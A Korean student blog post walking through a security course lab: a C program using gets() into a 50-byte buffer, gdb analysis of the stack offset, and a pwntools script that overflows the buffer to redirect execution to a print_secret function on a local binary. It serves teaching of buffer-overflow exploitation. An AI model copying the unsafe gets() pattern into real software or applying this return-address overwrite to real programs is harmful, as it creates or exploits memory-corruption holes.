Lab2-1

옹다·2024년 11월 13일

해킹및정보보안

목록 보기
4/8
#include <stdio.h>

/* This function will print a secret string to you. Your goal is to execute this
 * function by exploiting buffer overflow vulnerability.
 */
void print_secret(void);

void echo(void) {
  char buf[50];
  puts("Input your message:");
  gets(buf);
  puts(buf);
}

int main(void) {
  echo();
  return 0;
}

echo1.c에 작성된 코드

gdb를 이용하여 main함수를 disassemble 해보자.

그럼 echo함수의 return address는 0x40123d인 것을 알 수 있다.

우리는 이 echo함수의 return address를 print_secret함수의 시작 주소로 덮어씌워야 한다.

print_secret함수의 시작 주소는 0x401186인 것을 알 수 있다.

gdb를 이용하여 echo함수를 disassemble해보자.

%rsp를 0x48만큼 내려 스택에 공간을 할당했다.
0x48 = 16 * 4 + 8 = 72 -> 72 / 8 = 9칸

puts 함수의 인자로 무엇을 받았나 보니깐 Input your message를 받은 걸 확인할 수 있다.
그 다음 gets 함수의 인자로 buf의 주소를 받는다.

그림으로 나타내면 다음과 같다.

자 그렇다면 어떻게 해야 return address에 0x401186을 덮어쓸 수 있을까?
get함수는 크기가 정해져 있지 않아 무한정 문자를 받을 수 있다.
따라서 문자 A를 0x48번(= 72번) 입력하고 그 다음 0x401186을 gets함수의 인자로 받으면 된다 !


이렇게 !

이걸 이제 exploit코드로 짜보면

#!/usr/bin/python3

from pwn import *


def exploit():
    # Write your exploit logic here.
    p = process("./echo1.bin")
    print(p.recvuntil(b"message:\n"))
    p.sendline(b"A" * 0x48 + b"\x86\x11\x40")
    print(p.recvline()) # echo
    print(p.recvline()) # secret.txt


if __name__ == "__main__":
    exploit()

2가지 주의할 점이 있다.
1. 첫번째 print(p.recvline())은 echo의 결과이고, 두번째 print(p.recvline())은 print_secret함수의 실행 결과이다. 그래서 총 2번 받아야 한다!
2.

puts("Input your message:");
gets(buf);

puts함수는 뒤에 자동으로 줄바꿈 문자를 추가해주기 때문에
print(p.recvuntil(b"message:\n"))를 해주어야 한다.

profile
많진 않아도 딱 내 것을 만드는 공정

0개의 댓글